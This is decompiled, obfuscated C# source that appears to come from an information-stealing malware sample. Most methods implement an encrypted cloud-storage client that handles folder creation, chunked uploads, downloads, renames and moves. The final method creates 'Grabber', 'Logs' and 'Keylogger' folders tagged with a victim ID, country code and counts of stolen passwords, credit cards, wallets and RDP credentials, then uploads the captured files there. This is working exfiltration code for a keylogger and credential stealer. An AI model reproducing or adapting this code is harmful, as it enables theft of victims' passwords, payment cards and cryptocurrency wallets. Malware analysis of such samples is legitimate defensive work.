// Token: 0x06000A7B RID: 2683 RVA: 0x0003DC1C File Offset: 0x0003BE1C private IEnumerable<Class_233> gmethod_1823(Class_233[] arg_0, Class_233 arg_1) { using (IEnumerator<Class_233> enumerator = arg_0.Where(new Func<Class_233, bool>(Class_278.NClass_1.field_3.nmethod_4)).GetEnumerator()) { IL_F9: while (enumerator.MoveNext()) { Class_233 class_ = enumerator.Current; Class_278.NClass_0 nclass_ = new Class_278.NClass_0(); nclass_.field_2 = class_.prop_0; for (;;) { Class_278.NClass_0 nclass_2 = nclass_; Class_233 class_2 = arg_0.FirstOrDefault(new Func<Class_233, bool>(nclass_.nmethod_1)); nclass_2.field_2 = ((class_2 != null) ? class_2.prop_0 : null); if (nclass_.field_2 == arg_1.prop_0) { break; } if (nclass_.field_2 == null) { goto IL_F9; } } yield return class_; } } IEnumerator<Class_233> enumerator = null; yield break; yield break; }
// Token: 0x060009E5 RID: 2533 RVA: 0x0003CFC8 File Offset: 0x0003B1C8 private Class_255(Class_233 arg_0, Class_235 arg_1, string str_0, string str_1, byte[] byteDizi_0, string str_2) : base("p") { this.prop_0 = arg_0.prop_0; this.prop_2 = new Class_255.NClass_0[] { new Class_255.NClass_0 { nprop_2 = str_0, nprop_3 = str_1, nprop_1 = arg_1, nprop_0 = str_2 } }; Class_234 class_ = arg_0 as Class_234; if (class_ == null) { throw new ArgumentException("parentNode node must implement INodeCrypto"); } if (class_.prop_1 != null) { this.prop_1 = new Class_275(arg_0.prop_0); this.prop_1.vmethod_1815(str_2, byteDizi_0, class_.prop_1); } }
// Token: 0x060008E5 RID: 2277 RVA: 0x0003A434 File Offset: 0x00038634 public Uri cmethod_1564(Class_233 arg_0) { Class_239.NClass_4 nclass_ = new Class_239.NClass_4(); nclass_.field_9 = arg_0; if (nclass_.field_9 == null) { throw new ArgumentNullException("node"); } if (nclass_.field_9.prop_1 != Class_235.File && nclass_.field_9.prop_1 != Class_235.Directory) { throw new ArgumentException("Invalid node"); } this.gmethod_1583(); if (nclass_.field_9.prop_1 == Class_235.Directory) { this.kmethod_1577(new Class_278(nclass_.field_9, this.field_7, this.smethod_1560())); nclass_.field_9 = this.smethod_1560().First(new Func <Class_233, bool>(nclass_.nmethod_20)); } Class_234 class_ = nclass_.field_9 as Class_234; if (class_ == null) { throw new ArgumentException("node must implement INodeCrypto"); } Class_260 arg_ = new Class_260(nclass_.field_9); string arg = this.lmethod_1578 <string>(arg_, null); return(new Uri(Class_239.field_1, string.Format("/{0}/{1}#{2}", (nclass_.field_9.prop_1 == Class_235.Directory) ? "folder" : "file", arg, (nclass_.field_9.prop_1 == Class_235.Directory) ? class_.prop_1.ToBase64() : class_.prop_4.ToBase64()))); }
// Token: 0x060008E8 RID: 2280 RVA: 0x0003A650 File Offset: 0x00038850 public Stream kmethod_1567(Class_233 arg_0, CancellationToken?arg_1 = null) { if (arg_0 == null) { throw new ArgumentNullException("node"); } if (arg_0.prop_1 != Class_235.File) { throw new ArgumentException("Invalid node"); } Class_234 class_ = arg_0 as Class_234; if (class_ == null) { throw new ArgumentException("node must implement INodeCrypto"); } this.gmethod_1583(); Class_257 arg_2 = new Class_257(arg_0); Class_259 class_2 = this.lmethod_1578 <Class_259>(arg_2, null); Stream stream = new Class_248(new Class_245(this.field_3.vmethod_1545(new Uri(class_2.prop_0))), class_2.prop_1, class_.prop_0, class_.prop_2, class_.prop_3); if (arg_1 != null) { stream = new Class_246(stream, arg_1.Value); } return(stream); }
// Token: 0x06000A7A RID: 2682 RVA: 0x0003DAEC File Offset: 0x0003BCEC public Class_278(Class_233 arg_0, byte[] byteDizi_0, IEnumerable<Class_233> arg_1) : base("s2") { this.prop_0 = arg_0.prop_0; this.prop_2 = new object[] { new Class_218<int, string>(0, "EXP") }; Class_234 class_ = (Class_234)arg_0; byte[] array = class_.prop_1; if (array == null) { array = Class_223.dmethod_1476(); } this.prop_4 = Class_223.smethod_1470(array, byteDizi_0).ToBase64(); if (class_.prop_1 == null) { this.prop_3 = new Class_275(arg_0.prop_0); this.prop_3.vmethod_1815(arg_0.prop_0, class_.prop_4, array); foreach (Class_233 class_2 in this.gmethod_1823(arg_1.ToArray<Class_233>(), arg_0)) { this.prop_3.vmethod_1815(class_2.prop_0, ((Class_234)class_2).prop_4, array); } } byte[] byteDizi_ = (arg_0.prop_0 + arg_0.prop_0).ToBytes(); this.prop_1 = Class_223.smethod_1470(byteDizi_, byteDizi_0).ToBase64(); }
// Token: 0x060008EF RID: 2287 RVA: 0x0003AD4C File Offset: 0x00038F4C public Class_233 cmethod_1574(Class_233 arg_0, string str_0) { Class_239.NClass_7 nclass_ = new Class_239.NClass_7(); nclass_.field_12 = arg_0; if (nclass_.field_12 == null) { throw new ArgumentNullException("node"); } if (nclass_.field_12.prop_1 != Class_235.Directory && nclass_.field_12.prop_1 != Class_235.File) { throw new ArgumentException("Invalid node type"); } if (string.IsNullOrEmpty(str_0)) { throw new ArgumentNullException("newName"); } Class_234 class_ = nclass_.field_12 as Class_234; if (class_ == null) { throw new ArgumentException("node must implement INodeCrypto"); } this.gmethod_1583(); byte[] data = Class_223.kmethod_1477(new Class_254(str_0, ((Class_241)nclass_.field_12).prop_6), class_.prop_0); this.kmethod_1577(new Class_271(nclass_.field_12, data.ToBase64())); return(this.smethod_1560().First(new Func <Class_233, bool>(nclass_.nmethod_26))); }
// Token: 0x060009FA RID: 2554 RVA: 0x0003D128 File Offset: 0x0003B328 public Class_257(Class_233 arg_0) : base("g") { this.prop_1 = arg_0.prop_0; Class_242 class_ = arg_0 as Class_242; if (class_ != null) { base.prop_1["n"] = class_.prop_0; } }
// Token: 0x060008E2 RID: 2274 RVA: 0x0003A2E8 File Offset: 0x000384E8 public IEnumerable <Class_233> xmethod_1561(Class_233 arg_0) { Class_239.NClass_3 nclass_ = new Class_239.NClass_3(); nclass_.field_8 = arg_0; if (nclass_.field_8 == null) { throw new ArgumentNullException("parent"); } return(this.smethod_1560().Where(new Func <Class_233, bool>(nclass_.nmethod_18))); }
// Token: 0x060008E6 RID: 2278 RVA: 0x0003A578 File Offset: 0x00038778 public void vmethod_1565(Class_233 arg_0, string str_0, CancellationToken?arg_1 = null) { if (arg_0 == null) { throw new ArgumentNullException("node"); } if (string.IsNullOrEmpty(str_0)) { throw new ArgumentNullException("outputFile"); } using (Stream stream = this.kmethod_1567(arg_0, arg_1)) { this.tmethod_1582(stream, str_0); } }
// Token: 0x060008E3 RID: 2275 RVA: 0x0003A330 File Offset: 0x00038530 public void tmethod_1562(Class_233 arg_0, bool bool_0 = true) { if (arg_0 == null) { throw new ArgumentNullException("node"); } if (arg_0.prop_1 != Class_235.Directory && arg_0.prop_1 != Class_235.File) { throw new ArgumentException("Invalid node type"); } this.gmethod_1583(); if (bool_0) { this.gmethod_1573(arg_0, this.field_5); return; } this.kmethod_1577(new Class_256(arg_0)); }
// Token: 0x060008E4 RID: 2276 RVA: 0x0003A398 File Offset: 0x00038598 public Class_233 gmethod_1563(string str_0, Class_233 arg_0) { if (string.IsNullOrEmpty(str_0)) { throw new ArgumentNullException("name"); } if (arg_0 == null) { throw new ArgumentNullException("parent"); } if (arg_0.prop_1 == Class_235.File) { throw new ArgumentException("Invalid parent node"); } this.gmethod_1583(); byte[] byteDizi_ = Class_223.dmethod_1476(); byte[] data = Class_223.kmethod_1477(new Class_254(str_0), byteDizi_); byte[] data2 = Class_223.vmethod_1475(byteDizi_, this.field_7); Class_255 arg_ = Class_255.cmethod_1744(arg_0, data.ToBase64(), data2.ToBase64(), byteDizi_); return(this.lmethod_1578 <Class_262>(arg_, this.field_7).prop_0[0]); }
// Token: 0x060008EE RID: 2286 RVA: 0x0003AC98 File Offset: 0x00038E98 public Class_233 gmethod_1573(Class_233 arg_0, Class_233 arg_1) { Class_239.NClass_6 nclass_ = new Class_239.NClass_6(); nclass_.field_11 = arg_0; if (nclass_.field_11 == null) { throw new ArgumentNullException("node"); } if (arg_1 == null) { throw new ArgumentNullException("destinationParentNode"); } if (nclass_.field_11.prop_1 != Class_235.Directory && nclass_.field_11.prop_1 != Class_235.File) { throw new ArgumentException("Invalid node type"); } if (arg_1.prop_1 == Class_235.File) { throw new ArgumentException("Invalid destination parent node"); } this.gmethod_1583(); this.kmethod_1577(new Class_267(nclass_.field_11, arg_1)); return(this.smethod_1560().First(new Func <Class_233, bool>(nclass_.nmethod_24))); }
// Token: 0x060008EC RID: 2284 RVA: 0x0003A86C File Offset: 0x00038A6C public Class_233 xmethod_1571(string str_0, Class_233 arg_0, CancellationToken?arg_1 = null) { if (string.IsNullOrEmpty(str_0)) { throw new ArgumentNullException("filename"); } if (arg_0 == null) { throw new ArgumentNullException("parent"); } if (!File.Exists(str_0)) { throw new FileNotFoundException(str_0); } this.gmethod_1583(); DateTime lastWriteTime = File.GetLastWriteTime(str_0); Class_233 result; using (FileStream fileStream = new FileStream(str_0, FileMode.Open, FileAccess.Read)) { result = this.tmethod_1572(fileStream, Path.GetFileName(str_0), arg_0, new DateTime?(lastWriteTime), arg_1); } return(result); }
// Token: 0x060009F7 RID: 2551 RVA: 0x0003D0FD File Offset: 0x0003B2FD public Class_256(Class_233 arg_0) : base("d") { this.prop_0 = arg_0.prop_0; }
// Token: 0x06000A09 RID: 2569 RVA: 0x0003D1D8 File Offset: 0x0003B3D8 public Class_260(Class_233 arg_0) : base("l") { this.prop_0 = arg_0.prop_0; }
// Token: 0x06000A87 RID: 2695 RVA: 0x0003DC88 File Offset: 0x0003BE88 internal bool nmethod_1(Class_233 arg_0) { return arg_0.prop_0 == this.field_2; }
// Token: 0x06000911 RID: 2321 RVA: 0x0003B5BD File Offset: 0x000397BD internal bool nmethod_18(Class_233 arg_0) { return(arg_0.prop_0 == this.field_8.prop_0); }
// Token: 0x060009ED RID: 2541 RVA: 0x0003D0A8 File Offset: 0x0003B2A8 public static Class_255 cmethod_1744(Class_233 arg_0, string str_0, string str_1, byte[] byteDizi_0) { return(new Class_255(arg_0, Class_235.Directory, str_0, str_1, byteDizi_0, "xxxxxxxx")); }
// Token: 0x06000A46 RID: 2630 RVA: 0x0003D62F File Offset: 0x0003B82F public Class_271(Class_233 arg_0, string str_0) : base("a") { this.prop_0 = arg_0.prop_0; this.prop_1 = str_0; }
// Token: 0x060001FD RID: 509 RVA: 0x00010F8D File Offset: 0x0000F18D internal bool nmethod_8(Class_233 arg_0) { return(arg_0.prop_1 == Class_235.Directory && arg_0.prop_2 == this.field_7); }
// Token: 0x06000A35 RID: 2613 RVA: 0x0003D4DF File Offset: 0x0003B6DF public Class_267(Class_233 arg_0, Class_233 arg_1) : base("m") { this.prop_0 = arg_0.prop_0; this.prop_1 = arg_1.prop_0; }
// Token: 0x06000200 RID: 512 RVA: 0x00010FBA File Offset: 0x0000F1BA internal bool nmethod_11(Class_233 arg_0) { return(arg_0.prop_1 == Class_235.Root); }
// Token: 0x06000A8A RID: 2698 RVA: 0x0003DCA7 File Offset: 0x0003BEA7 internal bool nmethod_4(Class_233 arg_0) { return arg_0.prop_1 == Class_235.Directory || arg_0.prop_1 == Class_235.File; }
// Token: 0x060008ED RID: 2285 RVA: 0x0003A904 File Offset: 0x00038B04 public Class_233 tmethod_1572(Stream stream_, string str_0, Class_233 arg_0, DateTime?arg_1 = null, CancellationToken?arg_2 = null) { if (stream_ == null) { throw new ArgumentNullException("stream"); } if (string.IsNullOrEmpty(str_0)) { throw new ArgumentNullException("name"); } if (arg_0 == null) { throw new ArgumentNullException("parent"); } if (arg_0.prop_1 == Class_235.File) { throw new ArgumentException("Invalid parent node"); } this.gmethod_1583(); if (arg_2 != null) { stream_ = new Class_246(stream_, arg_2.Value); } string text = string.Empty; int num = 0; TimeSpan timeSpan; while (this.field_2.prop_2.nmethod_1(++num, out timeSpan)) { Class_279 arg_3 = new Class_279(stream_.Length); Class_280 class_ = this.lmethod_1578 <Class_280>(arg_3, null); Class_227 class_2 = Class_227.Ok; using (Class_247 class_3 = new Class_247(stream_)) { long num2 = 0L; int[] array = this.lmethod_1588(class_3.prop_0, class_3.Length).ToArray <int>(); Uri arg_4 = null; for (int i = 0; i < array.Length; i++) { text = string.Empty; int num3 = array[i]; byte[] buffer = new byte[num3]; class_3.Read(buffer, 0, num3); using (MemoryStream memoryStream = new MemoryStream(buffer)) { arg_4 = new Uri(class_.prop_0 + "/" + num2); num2 += (long)num3; try { text = this.field_3.cmethod_1544(arg_4, memoryStream); long num4; if (string.IsNullOrEmpty(text)) { class_2 = Class_227.Ok; } else if (text.FromBase64().Length != 27 && long.TryParse(text, out num4)) { class_2 = (Class_227)num4; break; } } catch (Exception arg_5) { class_2 = Class_227.RequestFailedRetry; EventHandler <Class_222> eventHandler = this.field_10; if (eventHandler != null) { eventHandler(this, new Class_222(arg_4, num, timeSpan, class_2, arg_5)); } break; } } } if (class_2 == Class_227.Ok) { byte[] data = Class_223.kmethod_1477(new Class_254(str_0, stream_, arg_1), class_3.prop_0); byte[] array2 = new byte[32]; for (int j = 0; j < 8; j++) { array2[j] = (class_3.prop_0[j] ^ class_3.prop_1[j]); array2[j + 16] = class_3.prop_1[j]; } for (int k = 8; k < 16; k++) { array2[k] = (class_3.prop_0[k] ^ class_3.prop_2[k - 8]); array2[k + 16] = class_3.prop_2[k - 8]; } byte[] data2 = Class_223.smethod_1470(array2, this.field_7); Class_255 arg_6 = Class_255.gmethod_1743(arg_0, data.ToBase64(), data2.ToBase64(), array2, text); return(this.lmethod_1578 <Class_262>(arg_6, this.field_7).prop_0[0]); } EventHandler <Class_222> eventHandler2 = this.field_10; if (eventHandler2 != null) { eventHandler2(this, new Class_222(arg_4, num, timeSpan, class_2, text)); } if (class_2 == Class_227.RequestFailedRetry || class_2 == Class_227.RequestFailedPermanetly || class_2 == Class_227.TooManyRequests) { this.smethod_1580(timeSpan); stream_.Seek(0L, SeekOrigin.Begin); continue; } throw new Class_224(class_2); } break; } throw new Class_226(text); }
// Token: 0x06000919 RID: 2329 RVA: 0x0003B5FF File Offset: 0x000397FF internal bool nmethod_26(Class_233 arg_0) { return(arg_0.Equals(this.field_12)); }
// Token: 0x060009EC RID: 2540 RVA: 0x0003D09A File Offset: 0x0003B29A public static Class_255 gmethod_1743(Class_233 arg_0, string str_0, string str_1, byte[] byteDizi_0, string str_2) { return(new Class_255(arg_0, Class_235.File, str_0, str_1, byteDizi_0, str_2)); }
// Token: 0x060001F2 RID: 498 RVA: 0x00010BC0 File Offset: 0x0000EDC0 public static void dmethod_246(string str_0, string str_1) { Class_82.NClass_1 nclass_ = new Class_82.NClass_1(); nclass_.field_4 = "Grabber"; nclass_.field_5 = "Logs"; nclass_.field_6 = "Keylogger"; nclass_.field_7 = Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm + "_" + Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf + Class_47.CountryCOde(); nclass_.field_3 = string.Concat(new string[] { Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm, "_", Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf, Class_47.CountryCOde(), " PASS:"******" CC:", Class_49.field_6.ToString(), " WALLETS:", (Class_5.field_3 + Class_54.field_0).ToString(), " RDP:", Class_5.field_2.ToString() }); Class_233 arg_ = Class_82.field_0.smethod_1560().Single(new Func <Class_233, bool>(Class_82.NClass_2.field_8.nmethod_11)); if (str_1 != "k") { Class_233 class_ = Class_82.field_0.xmethod_1561(arg_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_4)); if (class_ == null) { class_ = Class_82.field_0.gmethod_1563(nclass_.field_3, arg_); } Class_233 class_2 = Class_82.field_0.xmethod_1561(class_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_5)); Class_233 class_3 = Class_82.field_0.xmethod_1561(class_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_6)); if (class_2 == null) { class_2 = Class_82.field_0.gmethod_1563(nclass_.field_4, class_); } if (class_3 == null) { class_3 = Class_82.field_0.gmethod_1563(nclass_.field_5, class_); } if (str_1 == "g") { Class_82.field_0.xmethod_1571(str_0, class_2, null); } else if (str_1 == "s") { Class_82.field_0.xmethod_1571(str_0, class_3, null); } } Class_233 class_4 = Class_82.field_0.xmethod_1561(arg_).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_7)); if (class_4 == null) { class_4 = Class_82.field_0.gmethod_1563(nclass_.field_6, arg_); } Class_233 class_5 = Class_82.field_0.xmethod_1561(class_4).FirstOrDefault(new Func <Class_233, bool>(nclass_.nmethod_8)); if (class_5 == null) { class_5 = Class_82.field_0.gmethod_1563(nclass_.field_7, class_4); } if (str_1 == "k") { Class_82.field_0.xmethod_1571(str_0, class_5, null); } }